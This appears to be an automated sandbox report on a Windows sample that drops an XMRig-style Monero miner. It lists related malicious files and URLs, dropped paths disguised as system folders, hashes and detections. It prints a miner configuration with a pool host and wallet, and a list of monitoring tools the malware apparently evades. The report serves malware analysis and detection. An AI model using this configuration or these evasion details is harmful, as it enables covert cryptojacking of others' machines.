                                                                                                                                                              010D0060.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              oKu6zRzkUD.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              ACH_WIRE_REMITTANCE.xlsxGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://click.snapchat.com/aVHG?pid=snapchat_download_page&af_dp=http://davidson-tech.ebay.com&af_web_dp=http%3A%2F%2Fdsena3.web.app%2FjH05hnhH05lly07xdavid5kZH05n-tQ3bR3whd0TR3wH05nZ1Get hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://edpllcusa-my.sharepoint.com/:f:/g/personal/lburke_e-systemsgroup_com/EsrugqPBRMtNgW-xz-_qrnUBuGQt1kPR3dnV_khJcVzCLA?e=JBcQuxGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://bit.ly/3PeXSBUGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://cmhcuritiba.com.br/44202244/hhcuygdbcwdashkgvdhjsb67437873834bhbdsgshbklskkbhdsahvsbs/Get hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              net40.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              Payment Swift.htmlGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              Inv_48594_Trrt5849.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://protect-eu.mimecast.com/s/TtSECLYNWso2k7uqP5Ci?domain=hexdev-dg-us-compass.cs198.force.comGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://hexdev-dg-us-compass.cs198.force.comGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              ACH_WIRE_REMITTANCE.xlsxGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              bMwvKA6Owe.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              Demanda Judicial.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://penangtrails.com/ZXyxS--VCHC85T--ri0ITJGk/D3q5s--OsfQiegQ--6RztCIZ/index.html#dmsa_ratpm_falcon@emfa.ptGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              PO-303494.exeGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              https://bafkreiclwgoob5oyfjpgks4m3ymeg42yo6ypa4b3aagkbxc5b6o2bttsmy.ipfs.nftstorage.link/#adrielchan@hanglung.comGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224
                                                                                                                                                              http://oval-axiomatic-huckleberry.glitch.meGet hashmaliciousBrowse
                                                                                                                                                              • 149.154.167.220
                                                                                                                                                              • 3.232.242.170
                                                                                                                                                              • 3.220.57.224

                                                                                                                                                              Dropped Files

                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                              C:\ProgramData\Systemd\Database.exebQQHP9ciRL.exeGet hashmaliciousBrowse
                                                                                                                                                                C:\ProgramData\Systemd\old.exe (copy)bQQHP9ciRL.exeGet hashmaliciousBrowse
                                                                                                                                                                  C:\ProgramData\UpSys.exebQQHP9ciRL.exeGet hashmaliciousBrowse
                                                                                                                                                                    DllHost.exeGet hashmaliciousBrowse
                                                                                                                                                                      Fza7TPh6Z7.exeGet hashmaliciousBrowse
                                                                                                                                                                        SAlxtNmHFR.exeGet hashmaliciousBrowse
                                                                                                                                                                          BFSdrqaAvS.exeGet hashmaliciousBrowse
                                                                                                                                                                            We7WnoqeXe.exeGet hashmaliciousBrowse
                                                                                                                                                                              k0nAx7VQ5T.exeGet hashmaliciousBrowse
                                                                                                                                                                                Ghost_hack_v4.6.8_winx64.exeGet hashmaliciousBrowse
                                                                                                                                                                                  Rust_hack_v6.4.2_x64_stable.exeGet hashmaliciousBrowse
                                                                                                                                                                                    qcodAS8DHq.exeGet hashmaliciousBrowse
                                                                                                                                                                                      oZMpSaWzg2.exeGet hashmaliciousBrowse
                                                                                                                                                                                        5GP8oxUsvj.exeGet hashmaliciousBrowse
                                                                                                                                                                                          dL7mvARUBj.exeGet hashmaliciousBrowse
                                                                                                                                                                                            XwfWWIkABj.exeGet hashmaliciousBrowse
                                                                                                                                                                                              7yuJ4pbKSv.exeGet hashmaliciousBrowse
                                                                                                                                                                                                cj6LIPaeUz.exeGet hashmaliciousBrowse
                                                                                                                                                                                                  Loader_Hack.exeGet hashmaliciousBrowse
                                                                                                                                                                                                    MNhJu16jUY.exeGet hashmaliciousBrowse

                                                                                                                                                                                                      Created / dropped Files

                                                                                                                                                                                                      C:\ProgramData\MicrosoftNetwork\System.exe

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):450560
                                                                                                                                                                                                      Entropy (8bit):6.458403738052525
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:12288:N9oobTPfcw8236lPye4sa4D0/EEq+oaq79Tqo5a:LLbzVjqn4snD0/E7+oa2Tq1
                                                                                                                                                                                                      MD5:A0E067202878BD30C6B2A0583982F1FD
                                                                                                                                                                                                      SHA1:B1BCCF4A24D19C2C5626D9DE0A2AF042E2BE66E1
                                                                                                                                                                                                      SHA-256:E1DCADC94C7659B12ECA375E35858BF68EA02A626078DD5E41EB9BEDE572417C
                                                                                                                                                                                                      SHA-512:5E28705EE930D96AEE173589132C5BDD1B37B0897B8E9CBEBFD5E559FBE7C84C12209209F71EDF3ADBA856A899C627730535B90E9C6F1333F3FEA44FE917726B
                                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                                      Antivirus:
                                                                                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                      • Antivirus: Virustotal, Detection: 73%, Browse
                                                                                                                                                                                                      • Antivirus: Metadefender, Detection: 26%, Browse
                                                                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 69%
                                                                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ .[.A...A...A...'...A...'..pA....)..A...4...A...4...A...4...A..z4...A..z4...A...'...A...'...A...'...A...A..aA...4...A...4+..A...4...A..Rich.A..........PE..d...sD.b.........."......~...v.......(.........@.............................0............`..................................................y..................D:........... ......`...8...............................8............................................text....}.......~.................. ..`.rdata..|...........................@..@.data................|..............@....pdata..D:.......<..................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................

                                                                                                                                                                                                      C:\ProgramData\MicrosoftNetwork\System.exe:Zone.Identifier

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):26
                                                                                                                                                                                                      Entropy (8bit):3.95006375643621
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                      MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                                      Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                      C:\ProgramData\Systemd\CPU.zip

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:Zip archive data, at least v2.0 to extract
                                                                                                                                                                                                      Category:modified
                                                                                                                                                                                                      Size (bytes):3420521
                                                                                                                                                                                                      Entropy (8bit):7.999946854614611
                                                                                                                                                                                                      Encrypted:true
                                                                                                                                                                                                      SSDEEP:98304:iTIr5fFw0/3Iyuny748tYvHiinVepqUaldOVhG:j9fFw0/4yuny74ZHrQAUiaG
                                                                                                                                                                                                      MD5:6D65E5D8D9052A644D01882B1CC14FB5
                                                                                                                                                                                                      SHA1:FB57C2387A1BE50F5141447AE83580ECD3AD60AE
                                                                                                                                                                                                      SHA-256:80EA91A3F8403E87F92383A2261E8C5205AD313EC9BB4B52B57C552ADC515444
                                                                                                                                                                                                      SHA-512:C2A8F2FDFD041CF9D7B1202641FFEC81DE3D149C6398184ED1FB12F65ED157AD217ED3C5587F82FA7738F16EE1B7B6955B996F1BCE0B381FD075DEA188A3958D
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Preview:PK......c..I.To..?............config.txt......AE....r....C(..z.K9....W......7..Z..K..i.m..c....(.t....I.Sw..%>....5..<L_..hz.s...@N.O.....r8.....p...MFN]L.V3.&.....T'k...I.C...j\.8..}{u..Z.V0..hA~.$.*cz.:..(...ppPK..o..?........PK......c..`.T_....-4...~.....Database.exe......AE...;..t^.....aw.3}...kk...|.i.F..(-.z..]=k...............c.....E..V.l..7..........xo.7.T$.2.x.F'...q...C.@.........q..[ .G..ln..N.'.H.h<...P.BCz.SK^...Q.3.od..p...j.k.. ..m.A...yu?'.t.R...Q...{..y.=.7I@m....V...4.:.J.E.(...?.n...-\..p!..oj.4^.k...>.Wu\...L......6tA^.B.D4.*0.Q.?..$..~]-.'.qP.^.U.O.-5._O.2F.-/...%x....5{.d.5/U...-.T...W....M..=.z@@..K."..d....E%*...s..I..B..UX.......t.,..2..r......:!q0G..b........[...t+g.2......od..MA.....'.....)^..@'...5t.i.)FV..,...Igue.4.I.................,.U...<}..g....R....h..(..%..&X..!.z......S..=.`....!...B.Q..E.I...86.N.....H..z.......?O;...2;c..C{.=.B.......r.....X....ieE`..Y:Y.i.]../.?%d..9..[.X..........G....PRB...R.3@p-@:h...y...u...u.xB...p..

                                                                                                                                                                                                      C:\ProgramData\Systemd\Database.exe

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):8295936
                                                                                                                                                                                                      Entropy (8bit):6.6357162370352025
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:98304:VeSdMeEZvlEVuaMYPShvXAaiW5DjocFtZLj2XMSpZVqWyOmsqndFt3BQgEBHQ+zJ:oflEiI9Wt3YLkqpnmNK/ysxfWdIjF
                                                                                                                                                                                                      MD5:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      SHA1:FE5C22D4626BE4384AD6DE4BC09F6A7546B525C3
                                                                                                                                                                                                      SHA-256:C8041C0C1E06CAC533162D4159403FC3E295EAB4A368519DAB658A75887E747D
                                                                                                                                                                                                      SHA-512:50BE55433CC45B21278BAA72066681017A860F8C67A0FC4DE1725887075556B8E2F817A77A9485F14B7D769ABEDA39862D558DE5B8487260A9D43DEFB2BD7037
                                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                                      Yara Hits:
                                                                                                                                                                                                      • Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\ProgramData\Systemd\Database.exe, Author: Florian Roth
                                                                                                                                                                                                      • Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\ProgramData\Systemd\Database.exe, Author: Joe Security
                                                                                                                                                                                                      • Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\ProgramData\Systemd\Database.exe, Author: ditekSHen
                                                                                                                                                                                                      Antivirus:
                                                                                                                                                                                                      • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                      • Antivirus: Virustotal, Detection: 71%, Browse
                                                                                                                                                                                                      • Antivirus: Metadefender, Detection: 31%, Browse
                                                                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 69%
                                                                                                                                                                                                      Joe Sandbox View:
                                                                                                                                                                                                      • Filename: bQQHP9ciRL.exe, Detection: malicious, Browse
                                                                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....ZLb...............&.._...~...2............@...................................*.~...`... .................................................E...P........w..............`.............................. .u.(...................................................text....._......._.................`..`.data...`....._......._.............@....rdata.. I....`..J....`.............@..@.pdata........w.......w.............@..@.xdata.......z.......y.............@..@.bss....`.2...}..........................idata...E......F....}.............@....CRT....h....0........}.............@....tls.........@........}.............@....rsrc........P........}.............@....reloc.......`........~.............@..B........................................................................................................................................................................

                                                                                                                                                                                                      C:\ProgramData\Systemd\config.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):142
                                                                                                                                                                                                      Entropy (8bit):5.545495581404923
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:07ghKTEQfhX0dcWf9mT1h5IxizubOf5RgePt3V20Z/odVRfHcUVen:+T5fhXvg61h5IxYBRdVlHZ/oXiUVen
                                                                                                                                                                                                      MD5:ED08E85582A15681229D4473FA9A8293
                                                                                                                                                                                                      SHA1:FEEF6DFF5E404059F09C44F90F4B5412319E2EDD
                                                                                                                                                                                                      SHA-256:6613ED3664884C1EEA948A3E19C0D9B5044D0B651B7FDF237A1298203631AE3E
                                                                                                                                                                                                      SHA-512:BD3944AE405CF020E91F25BA66AFB58DF2B6E4353B92669EFC0DCAB5B33A800E6A848D61B590873435A7E67DA1459DCEEC4FDA482479FE660348A5AC17C1D90F
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Preview: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx

                                                                                                                                                                                                      C:\ProgramData\Systemd\name.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:ASCII text, with no line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):12
                                                                                                                                                                                                      Entropy (8bit):2.792481250360578
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:H2AdA:W4A
                                                                                                                                                                                                      MD5:4BEA6B8962193FC44E04795E6F535C1D
                                                                                                                                                                                                      SHA1:58436B9341E94337C3A1C429FFF5B12FE7D90A09
                                                                                                                                                                                                      SHA-256:59DC40A41DBBF3BE01E8BA6FBB1F290EFCB777261C1B9D025227C40E98374923
                                                                                                                                                                                                      SHA-512:B1445509F55107B905D401683E4751D2A30C848CEC70EC78ADBA3FC6659E9F0442D7A75A3892AAE1B46EA3298B40116C0D53C168774FF0E438851322732F144B
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Preview:Database.exe

                                                                                                                                                                                                      C:\ProgramData\Systemd\old.exe (copy)

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\ProgramData\MicrosoftNetwork\System.exe
                                                                                                                                                                                                      File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):8295936
                                                                                                                                                                                                      Entropy (8bit):6.6357162370352025
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:98304:VeSdMeEZvlEVuaMYPShvXAaiW5DjocFtZLj2XMSpZVqWyOmsqndFt3BQgEBHQ+zJ:oflEiI9Wt3YLkqpnmNK/ysxfWdIjF
                                                                                                                                                                                                      MD5:EAB270D7108D82EE602CE25C64A5740F
                                                                                                                                                                                                      SHA1:FE5C22D4626BE4384AD6DE4BC09F6A7546B525C3
                                                                                                                                                                                                      SHA-256:C8041C0C1E06CAC533162D4159403FC3E295EAB4A368519DAB658A75887E747D
                                                                                                                                                                                                      SHA-512:50BE55433CC45B21278BAA72066681017A860F8C67A0FC4DE1725887075556B8E2F817A77A9485F14B7D769ABEDA39862D558DE5B8487260A9D43DEFB2BD7037
                                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                                      Antivirus:
                                                                                                                                                                                                      • Antivirus: Virustotal, Detection: 71%, Browse
                                                                                                                                                                                                      • Antivirus: Metadefender, Detection: 31%, Browse
                                                                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 69%
                                                                                                                                                                                                      Joe Sandbox View:
                                                                                                                                                                                                      • Filename: bQQHP9ciRL.exe, Detection: malicious, Browse
                                                                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....ZLb...............&.._...~...2............@...................................*.~...`... .................................................E...P........w..............`.............................. .u.(...................................................text....._......._.................`..`.data...`....._......._.............@....rdata.. I....`..J....`.............@..@.pdata........w.......w.............@..@.xdata.......z.......y.............@..@.bss....`.2...}..........................idata...E......F....}.............@....CRT....h....0........}.............@....tls.........@........}.............@....rsrc........P........}.............@....reloc.......`........~.............@..B........................................................................................................................................................................

                                                                                                                                                                                                      C:\ProgramData\Systemd\process.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):76
                                                                                                                                                                                                      Entropy (8bit):3.8928377215011736
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:hULACAd1AUNFdmUWR6JMvNI+0C:hU0xd1FFdfWR6MNDJ
                                                                                                                                                                                                      MD5:00CC07F1D92CF1BCC7C5DFFFD3548057
                                                                                                                                                                                                      SHA1:B5046B521EABE24BAA17FE51D4269B0C8B7689EB
                                                                                                                                                                                                      SHA-256:4ABE8160AC162DC51236E7CDA435B0268B60EDC898C4135BAD6C5D2C99EA7D33
                                                                                                                                                                                                      SHA-512:7B60F00682490C1CC8E465AFCF4718BAEA6CC14A87710EF109D4C4DC0B117F744E685BECCB7434B7368586987E32AEE900A2DDD123BAE6343C5D7E2CBCDEA1AD
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Preview:taskmgr.exe..processhacker.exe..procexp.exe..systemexplorer.exe..tcpview.exe

                                                                                                                                                                                                      C:\ProgramData\UpSys.exe

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):945944
                                                                                                                                                                                                      Entropy (8bit):6.654096172451499
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:24576:X2DW/xbMX2YIbxQsu3/PNLoQ+HyS2I4jRk:X2EgXoQsW/PNUQWnX4jRk
                                                                                                                                                                                                      MD5:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      SHA1:F24CA204AF2237A714E8B41D54043DA7BBE5393B
                                                                                                                                                                                                      SHA-256:5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
                                                                                                                                                                                                      SHA-512:33794A567C3E16582DA3C2AC8253B3E61DF19C255985277C5A63A84A673AC64899E34E3B1EBB79E027F13D66A0B8800884CDD4D646C7A0ABE7967B6316639CF1
                                                                                                                                                                                                      Malicious:true
                                                                                                                                                                                                      Antivirus:
                                                                                                                                                                                                      • Antivirus: Virustotal, Detection: 4%, Browse
                                                                                                                                                                                                      • Antivirus: Metadefender, Detection: 0%, Browse
                                                                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                      Joe Sandbox View:
                                                                                                                                                                                                      • Filename: bQQHP9ciRL.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: DllHost.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: Fza7TPh6Z7.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: SAlxtNmHFR.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: BFSdrqaAvS.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: We7WnoqeXe.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: k0nAx7VQ5T.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: Ghost_hack_v4.6.8_winx64.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: Rust_hack_v6.4.2_x64_stable.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: qcodAS8DHq.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: oZMpSaWzg2.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: 5GP8oxUsvj.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: dL7mvARUBj.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: XwfWWIkABj.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: 7yuJ4pbKSv.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: cj6LIPaeUz.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: Loader_Hack.exe, Detection: malicious, Browse
                                                                                                                                                                                                      • Filename: MNhJu16jUY.exe, Detection: malicious, Browse
                                                                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.@............yGI......p\.}....pJ......p[.............._.....................pP......ZJ......ZK.......H......pN.....Rich............................PE..d...(..K..........#......\...*......|..........@.....................................N........@...............@.................................T................j...Q.. ............................................................p...............................text....Z.......\.................. ..`.rdata...V...p...X...`..............@..@.data............v..................@....pdata...j.......l..................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................

                                                                                                                                                                                                      C:\ProgramData\check.txt

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      File Type:very short file (no magic)
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):1
                                                                                                                                                                                                      Entropy (8bit):0.0
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:3:U:U
                                                                                                                                                                                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:1

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0MX4YUS9\UpSys[1].exe

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):945944
                                                                                                                                                                                                      Entropy (8bit):6.654096172451499
                                                                                                                                                                                                      Encrypted:false
                                                                                                                                                                                                      SSDEEP:24576:X2DW/xbMX2YIbxQsu3/PNLoQ+HyS2I4jRk:X2EgXoQsW/PNUQWnX4jRk
                                                                                                                                                                                                      MD5:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      SHA1:F24CA204AF2237A714E8B41D54043DA7BBE5393B
                                                                                                                                                                                                      SHA-256:5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
                                                                                                                                                                                                      SHA-512:33794A567C3E16582DA3C2AC8253B3E61DF19C255985277C5A63A84A673AC64899E34E3B1EBB79E027F13D66A0B8800884CDD4D646C7A0ABE7967B6316639CF1
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Antivirus:
                                                                                                                                                                                                      • Antivirus: Virustotal, Detection: 4%, Browse
                                                                                                                                                                                                      • Antivirus: Metadefender, Detection: 0%, Browse
                                                                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.@............yGI......p\.}....pJ......p[.............._.....................pP......ZJ......ZK.......H......pN.....Rich............................PE..d...(..K..........#......\...*......|..........@.....................................N........@...............@.................................T................j...Q.. ............................................................p...............................text....Z.......\.................. ..`.rdata...V...p...X...`..............@..@.data............v..................@....pdata...j.......l..................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................

                                                                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2K7JPOQS\CPU[1].zip

                                                                                                                                                                                                      Download File
                                                                                                                                                                                                      Process:C:\Users\user\Desktop\2dOeahdsto.exe
                                                                                                                                                                                                      File Type:Zip archive data, at least v2.0 to extract
                                                                                                                                                                                                      Category:dropped
                                                                                                                                                                                                      Size (bytes):3420521
                                                                                                                                                                                                      Entropy (8bit):7.999946854614611
                                                                                                                                                                                                      Encrypted:true
                                                                                                                                                                                                      SSDEEP:98304:iTIr5fFw0/3Iyuny748tYvHiinVepqUaldOVhG:j9fFw0/4yuny74ZHrQAUiaG
                                                                                                                                                                                                      MD5:6D65E5D8D9052A644D01882B1CC14FB5
                                                                                                                                                                                                      SHA1:FB57C2387A1BE50F5141447AE83580ECD3AD60AE
                                                                                                                                                                                                      SHA-256:80EA91A3F8403E87F92383A2261E8C5205AD313EC9BB4B52B57C552ADC515444
                                                                                                                                                                                                      SHA-512:C2A8F2FDFD041CF9D7B1202641FFEC81DE3D149C6398184ED1FB12F65ED157AD217ED3C5587F82FA7738F16EE1B7B6955B996F1BCE0B381FD075DEA188A3958D
                                                                                                                                                                                                      Malicious:false
                                                                                                                                                                                                      Reputation:unknown
                                                                                                                                                                                                      Preview:PK......c..I.To..?............config.txt......AE....r....C(..z.K9....W......7..Z..K..i.m..c....(.t....I.Sw..%>....5..<L_..hz.s...@N.O.....r8.....p...MFN]L.V3.&.....T'k...I.C...j\.8..}{u..Z.V0..hA~.$.*cz.:..(...ppPK..o..?........PK......c..`.T_....-4...~.....Database.exe......AE...;..t^.....aw.3}...kk...|.i.F..(-.z..]=k...............c.....E..V.l..7..........xo.7.T$.2.x.F'...q...C.@.........q..[ .G..ln..N.'.H.h<...P.BCz.SK^...Q.3.od..p...j.k.. ..m.A...yu?'.t.R...Q...{..y.=.7I@m....V...4.:.J.E.(...?.n...-\..p!..oj.4^.k...>.Wu\...L......6tA^.B.D4.*0.Q.?..$..~]-.'.qP.^.U.O.-5._O.2F.-/...%x....5{.d.5/U...-.T...W....M..=.z@@..K."..d....E%*...s..I..B..UX.......t.,..2..r......:!q0G..b........[...t+g.2......od..MA.....'.....)^..@'...5t.i.)FV..,...Igue.4.I.................,.U...<}..g....R....h..(..%..&X..!.z......S..=.`....!...B.Q..E.I...86.N.....H..z.......?O;...2;c..C{.=.B.......r.....X....ieE`..Y:Y.i.]../.?%d..9..[.X..........G....PRB...R.3@p-@:h...y...u...u.xB...p..

